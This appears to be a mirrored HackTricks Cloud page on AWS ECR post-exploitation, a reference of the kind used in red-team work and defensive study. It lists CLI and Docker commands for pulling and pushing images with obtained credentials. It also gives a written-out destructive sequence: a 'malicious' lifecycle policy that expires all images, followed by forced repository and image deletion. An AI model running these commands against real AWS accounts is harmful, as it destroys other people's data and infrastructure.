mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-04 16:57:26 -08:00
123 lines
6.0 KiB
Markdown
123 lines
6.0 KiB
Markdown
# AWS - ECR Post Exploitation
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## ECR
|
|
|
|
For more information check
|
|
|
|
{% content-ref url="../aws-services/aws-ecr-enum.md" %}
|
|
[aws-ecr-enum.md](../aws-services/aws-ecr-enum.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Login, Pull & Push
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Docker login into ecr
|
|
## For public repo (always use us-east-1)
|
|
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
|
## For private repo
|
|
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
|
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
|
|
|
# Download
|
|
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
|
## If you still have the error "Requested image not found"
|
|
## It might be because the tag "latest" doesn't exit
|
|
## Get valid tags with:
|
|
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
|
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
|
|
|
# Inspect the image
|
|
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
|
|
|
# Upload (example uploading purplepanda with tag latest)
|
|
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
|
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
|
|
|
# Downloading without Docker
|
|
# List digests
|
|
aws ecr batch-get-image --repository-name level2 \
|
|
--registry-id 653711331788 \
|
|
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
|
|
|
## Download a digest
|
|
aws ecr get-download-url-for-layer \
|
|
--repository-name level2 \
|
|
--registry-id 653711331788 \
|
|
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
|
```
|
|
{% endcode %}
|
|
|
|
After downloading the images you should **check them for sensitive info**:
|
|
|
|
{% embed url="https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics" %}
|
|
|
|
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
|
|
|
An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.
|
|
|
|
```bash
|
|
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
|
echo '{
|
|
"rules": [
|
|
{
|
|
"rulePriority": 1,
|
|
"description": "Delete all images",
|
|
"selection": {
|
|
"tagStatus": "any",
|
|
"countType": "imageCountMoreThan",
|
|
"countNumber": 0
|
|
},
|
|
"action": {
|
|
"type": "expire"
|
|
}
|
|
}
|
|
]
|
|
}' > malicious_policy.json
|
|
|
|
# Apply the malicious lifecycle policy to the ECR repository
|
|
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
|
|
|
# Delete the ECR repository
|
|
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
|
|
|
# Delete the ECR public repository
|
|
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
|
|
|
# Delete multiple images from the ECR repository
|
|
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
|
|
|
# Delete multiple images from the ECR public repository
|
|
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
|
```
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|